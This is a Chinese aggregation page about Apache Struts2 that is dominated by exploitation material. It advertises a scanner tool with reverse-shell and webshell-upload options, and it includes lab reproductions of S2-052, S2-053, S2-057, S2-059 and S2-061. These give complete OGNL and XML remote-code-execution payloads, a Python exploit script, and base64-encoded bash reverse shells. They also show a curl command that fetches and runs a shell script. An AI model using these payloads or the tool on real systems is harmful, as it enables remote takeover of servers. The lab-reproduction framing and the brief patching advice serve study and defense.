
- 外文名
- Struts 2
- 类 别
- 框架
- 理 解
- WebWork+struts1的的更新产品
- 解 释
- Struts的下一代产品
-
2022-04-16 22:24:52
python扫描工具更新2022-4-16
1.添加了S2-062漏洞利用 其实是对S2-061漏洞的绕过 支持命令执行,Linux反弹shell,windows反弹shell。 2.解决了了Windows反弹shell的功能 底层原理:解决了有效负载Runtime.getRuntime().exec()执行复杂windows命令 不成功的问题。 详情文章:https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?# 《使用java命令执行函数反弹windows-shell》
工具地址https://github.com/Vancomycin-g/Struts2Scan/
里面有两个工具,一个是python编写的工具,另一个是jar文件
python工具是改变大佬的。jar文件是在网络上找的。java工具
优点
1.扫描比较稳定
2.误报情况少,
3.可视化,方便操作缺点
1.无法指定payload进行利用
2.无法反弹shell
3.无S2-061 payload用法
直接一键扫描就行了,简单粗暴
python工具
优点
1.大多payload支持Linux反弹shell,少部分payload支持windows反弹shell
2.可以自己选可以使用的payload.
3.有S2-061 payload缺点
1.稳定性优化的还可以,可能存在误报情况,
2.有许多命令参数。工具介绍
原作者:github地址:https://github.com/HatBoy/Struts2-Scan
感谢原作者开源的工具
此次是在原有的基础上进行升级,优化。
升级内容:1.添加了S2-061漏洞 2.优化了误报情况。 3.个别添加了windows反弹shell功能。 4.原来参数-r ip:port修改成了, -lr ip:port 反弹Linuxshell -wr ip:port反弹Windows shell 5.还有其他细微的地方
Struts2-Scan
- Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057,S2-061,S2-062
- 支持单个URL漏洞检测和批量URL检测,指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持
运行环境
- Python3.6.X及其以上版本
- 第三方库: click, requests, bs4
- 测试环境: Ubuntu 16.04
- 漏洞环境已上传,参考地址:
工具参数说明
Usage: Struts2Scan.py [OPTIONS] Struts2批量扫描利用工具 Options: -i, --info 漏洞信息介绍 -v, --version 显示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名称, 漏洞名称详见info -f, --file TEXT 批量扫描URL文件, 一行一个URL -d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp} -c, --encode TEXT 页面编码, 默认UTF-8编码 -p, --proxy TEXT HTTP代理. 格式为http://ip:port -t, --timeout TEXT HTTP超时时间, 默认10s -w, --workers TEXT 批量扫描进程数, 默认为10个进程 --header TEXT HTTP请求头, 格式为: key1=value1&key2=value2 -e, --exec 进入命令执行shell --webpath 获取WEB路径 -lr, --Linux_reverse TEXT 反弹Linux shell地址, 格式为ip:port -wr, --Win_reverse TEXT 反弹Windows shell地址, 格式为ip:port --upfile TEXT 需要上传的文件路径和名称 --uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 关闭打印不存在漏洞的输出,只保留存在漏洞的输出 -h, --help Show this message and exit.
使用例子
查看漏洞详细信息:
$ python3 Struts2Scan.py --info
单个URL漏洞检测:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action
批量漏洞检测:
$ python3 Struts2Scan.py -f urls.txt
指定POST数据:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}
常用方法
# 命令执行 $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -e # 反弹Linux shell $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -lr 192.168.100.8:8888 # 反弹Windows shell $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -wr 192.168.100.8:8888 # 上传shell $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp
更多相关内容 -
Struts2漏洞测试
2022-04-18 11:31:37Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试... -
Struts2漏洞利用工具2019版 V2.3.zip
2020-02-24 12:09:20Struts2漏洞利用工具2019版 V2.3. Struts2漏洞检测工具,请勿非法攻击他人网站,安恒大佬的作品 -
struts2-core.jar
2016-08-03 23:39:11struts2-core-2.0.1.jar, struts2-core-2.0.11.1.jar, struts2-core-2.0.11.2.jar, struts2-core-2.0.11.jar, struts2-core-2.0.12.jar, struts2-core-2.0.14.jar, struts2-core-2.0.5.jar, struts2-core-2.0.6.jar,... -
Struts2漏洞检查工具2018版
2018-09-05 13:35:36Struts2漏洞检查工具2018版,带最新的漏洞检查,方便使用。目前支持一键检测Struts2漏洞 -
Struts2漏洞利用工具Devmode版
2017-10-26 11:32:32Struts2漏洞利用工具Devmode版 检测struts2漏洞的一款工具 -
Struts2-3.24集合jar
2016-04-18 18:23:51struts2-config-browser-plugin-2.3.24.jar, struts2-core-2.3.24.jar, struts2-jasperreports-plugin-2.3.24.jar, struts2-jfreechart-plugin-2.3.24.jar, struts2-pell-multipart-plugin-2.3.24.jar, struts2-... -
最新版本的Struts2+Spring4+Hibernate4框架整合
2014-10-15 14:39:34整合使用最新版本的三大框架(即Struts2、Spring4和Hibernate4),搭建项目架构原型。 项目架构原型:Struts2.3.16 + Spring4.1.1 + Hibernate4.3.6。 此外,还有:log4j、slf4j、junit4、ehcache等知识点。 项目... -
Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包
2017-03-23 12:27:08struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 ... -
Struts2漏洞利用工具-可用于检测
2017-08-01 09:11:38直接输入出现漏洞的url即可攻击. 远程攻击、攻击难度低、不需要用户认证,对机密性、完整性、可用性均构成完全影响。建议大家升级最新jar包! -
struts2最新版本 struts-2.3.28
2016-03-28 09:18:09struts2最新版本 struts-2.3.28 -
Struts2视频教程
2012-08-27 15:13:48Struts2是一套非常优秀的Java WEB应用框架,实现优雅、功能强大、使用简洁。目前已有大量的企业项目采用Struts2来作为Web框架进行开发,掌握Struts2是每个进行Web开发的Java程序员的一项必备技能。 本视频对Struts2... -
Struts2入门教程(全新完整版)
2016-01-07 16:51:02十二、总结 本教程对struts2的基本知识进行了一些说明,关于struts2的更多详细内容应参看struts2的官方文档及提供的app实例。 下面对struts2的基本执行流程作一简要说明,此流程说明可以结合官方提供的struts2结构图... -
struts2必备jar包官方绿色版
2012-10-08 18:02:42struts2最新官网的jar包,已经是最少的包的无法再删除了, commons-fileupload-1.2.2.jar commons-io-2.0.1.jar commons-lang3-3.1.jar commons-logging-1.1.1.jar freemarker-2.3.19.jar javassist-3.11.0.GA.jar ... -
Maven搭建spring_struts2_Hibernate_demo
2015-03-01 15:09:23Maven搭建spring_struts2_Hibernate项目源码,包括数据库,博客地址:http://blog.csdn.net/fengshizty/article/details/43794911 -
struts1和struts2的区别
2011-06-24 16:54:07struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别... -
struts2实例 学生信息管理系统
2012-11-12 20:41:57struts2实现的学生信息管理系统 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" ... -
Struts2 远程代码执行漏洞复现(附Struts2漏洞检测工具)
2022-02-24 13:59:00Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 ...0x00 Struts2 简介
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序。该框架多版本存在远程代码执行,
0x01 Struts2 (CVE-2018-11776)
Struts2 S2-057
payload:/struts2-showcase/$%7B233*233%7D/actionChain1.action
验证漏洞存在:
paylaod:ls:查看目录下文件,paylaod需要进行url编码 ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
0x02 Struts2 (CVE-2019-0230)
Struts2 S2-059
漏洞验证paylaod:/?id=%25{2*5}
反弹shell:paylaod:使用python3环境,运行前查看环境执行是否正常反弹paylaod:bash -i >& /dev/tcp/192.168.222.134/6666 0>&1 需要base64加密放入下paylaod import requests url = "http://192.168.222.134:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2) print(123)
执行脚本
shell接收成功:
0x03 Struts2 (CVE-2020-17530)
Struts2 S2-061
POC:post请求: POST / HTTP/1.1 Host: 192.168.222.134:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=node016yd6hhrzkka19x0sws5e7i9g1.node0 If-None-Match: W/"187-1504645830000" If-Modified-Since: Tue, 05 Sep 2017 21:10:30 GMT Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Connection: close Content-Length: 829 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
0x04 strust2 命令执行检测工具
github:https://github.com/HatBoy/Struts2-Scan
现支持部分序号的st2检测:s2-053之前,测试过程还是出现了很多问题,实战中建议使用单独的对应exp检测
-
框架/组件漏洞系列1:struts2漏洞汇总
2021-12-03 09:09:03一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用[Java Servlet]...前言:
本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。
一、Struts简介
1、简介
基本介绍:
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用[Java Servlet](https://baike.baidu.com/item/Java Servlet)/JSP技术,实现了基于[Java EE](https://baike.baidu.com/item/Java EE) Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
在过去多年的时间中,Struts2曾被爆出过许多安全漏洞,业内对其命名也从S2-001命名到了S2-061,也就是说前前后后一共产生了61个安全漏洞,其中的两个大类是DDOS漏洞个RCE漏洞,而本次我们复现、共享的漏洞主要是最近几年的RCE漏洞。
最近几年漏洞信息 :
- S2-052:REST插件使用到XStreamHandler处理xml数据,由于未对xml数据做任何过滤,在进行发序列xml数据转换为Object时导致RCE
- S2-053:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
- S2-057:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生
- S2-059:攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
- S2-061:对S2-059的沙盒绕过。
2、struts2框架判断
看url里面的连接,如果是XXX.action结尾或直接XXX.do结尾的,就是struts框架写的。
如果URL连接的文件没有后缀,则可能是struts2框架写的,看HTMl源码中加载/提交的文件后缀可判断。
还是不行,就可以通过传入大量错误数据,使其报错,看报错内容来判断。
二、S2-052 RCE漏洞
1、漏洞简介
Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞POC:
<?xml version="1.0" encoding="utf-8"?> <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>你要执行的代码</string></command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
2、漏洞复现
-
使用docker搭建其漏洞环境,访问8080端口,选择任意一个账号进行编辑,使用burp suite 进行抓包。
-
修改请求头中的Content-Type为
application/xml
,修改Post数据为poc内容,并将执行的代码改为自己的。返回500错误,理论上来说代码执行成功。
-
事实证明,理论上终究只是理论上,反弹shell并没有成功。于是使用github的POC进行getshell。poc地址:https://github.com/wooluo/S2-052。脚本运行成功,但执行命令也失败,艹了。
三、S2-053 RCE漏洞
1、漏洞简介
原理:
s2-053漏洞产生的原因是Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。(没咋懂)
影响版本: Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞POC(命令执行点在 #cmd=‘whoami’):
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
2、漏洞复现
-
使用docker搭建起漏洞环境,访问8080端口,能正常访问,说明漏洞环境启用成功。
-
访问hello.action,输入一个表达式:%{6*6},输出结果为36,说明漏洞存在。
-
输入POC,看执行效果,如图,返回结果为root.
-
kali监听端口,使用bash命令,执行poc反弹shell.
四、S2-057 RCE漏洞
1、漏洞简介
漏洞原理:
定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。(懵逼)
影响版本: Struts 2.3 - Struts 2.3.34,Struts 2.5 - Struts 2.5.16
漏洞EXP: https://github.com/Ivan1ee/struts2-057-exp
2、漏洞复现
-
使用docker搭建好漏洞环境,访问index.action,如下界面,说明搭建成功。
-
使用poc执行算术运算poc:
struts2-showcase/${(111+111)}/actionChain1.action
, 访问后变为:/struts2-showcase/222/register2.action
-
构造payload,执行命令id;
payload: ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
对payload进行url编码,,并附加到url中,使用bp重放:
请求内容:GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
发生跳转并得到id返回值:
五、S2-059 RCE漏洞
1、漏洞简介
漏洞产生原因: s2-059产生的原因为攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
影响版本: Struts 2.0.0 - Struts 2.5.20
poc:
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}" } # 反弹shell的命令,需要自行进行编码替换。 res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2)
2、漏洞复现
-
访问docker搭建的初始页面,显示id内容。
-
根据漏洞信息,可以输入一个OGNL表达式看是否存在漏洞,此处输入payload: id=%25{4*6},成功执行表达式,说明漏洞存在。
-
使用bash反弹shell,需要将bash命令进行base64编码。编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
-
使用poc进行测试,反弹shell此处踩坑,按照poc来不能反弹shell。
-
换个方式getshell:使用python开启临时http服务,将反弹shell的语句写入shell.sh中,修改POC中的命令为
curl -o /tmp/shell.sh http://your_HTTP_ip:your_Port/shell.sh
。执行poc后成功下载shell.sh,再修改POC中的bash命令为bash /tmp/sh
,执行成功并反弹shell。
六、S2-061 RCE漏洞
1、漏洞简介
漏洞原理:
s2-061漏洞产生的原因是Struts2 会对某些标签属性(比如
id
,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}
且x
的值用户可控时,用户再传入一个%{payload}
即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。影响范围: struts 2.0.0 - struts 2.5.25
漏洞poc: https://github.com/wuzuowei/CVE-2020-17530
2、漏洞复现
-
访问docker搭建的web服务,发现是和s2-059的一样,尝试执行算数运算,发现能成功执行。
-
尝试使用s2-059的poc执行命令,发现不能正常执行,因此只能照搬s2-061的复现方法进行。
-
首先抓包后修改Content-Type为
multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
,并加入以下内容:------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
-
此处使用原始的GTE传输方式,并不能回显命令内容:
-
改用POST传输数据,成功执行命令。
-
修改命令内容,反弹shell。bash反弹shell命令需要进行base64编码。编码地址:https://www.jackson-t.ca/runtime-exec-payloads.html,发送数据后成功执行并反弹shell。
-
Struts2 S2-061(CVE-2020-17530)漏洞复现
2022-01-21 09:55:57Struts2 S2-061(CVE-2020-17530)漏洞复现 漏洞简介 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用...Struts2 S2-061(CVE-2020-17530)漏洞复现
漏洞简介
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。
漏洞描述
Struts2 会对某些标签属性(比如
id
,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}
且x
的值用户可控时,用户再传入一个%{payload}
即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。漏洞影响版本
struts 2.0.0 - struts 2.5.25
漏洞级别
高危
漏洞复现
环境搭建
这里以vulhub里面的例子进行复现
下载vulhub git clone https://github.com/vulhub/vulhub 进入漏洞环境 cd vulhub/struts2/s2-061 启动环境 docker-compose up -d
访问本地的8080即可
漏洞利用
dnslog验证
POC:
POST /index.action HTTP/1.1 Host: x.x.x.x:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 848 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping xxxxxx.ceye.io")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
RCE
POC:
POST /index.action HTTP/1.1 Host: x.x.x.x:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 831 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
反弹shell
通过下面这个网站将bash反弹命令进行编码
https://www.jackson-t.ca/runtime-exec-payloads.html
然后提交以下POC:POST /index.action HTTP/1.1 Host: x.x.x.x:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 831 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xNTMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
然后监听反弹shell主机的4444端口
在burpsuite中点击send进行发包
可以看到shell就反弹回来了
漏洞修复
避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本
临时修复,升级到 Struts 2.5.26 版本,下载地址为:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26
漏洞总结
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
-
Struts2 in action中文版-Struts 2实战
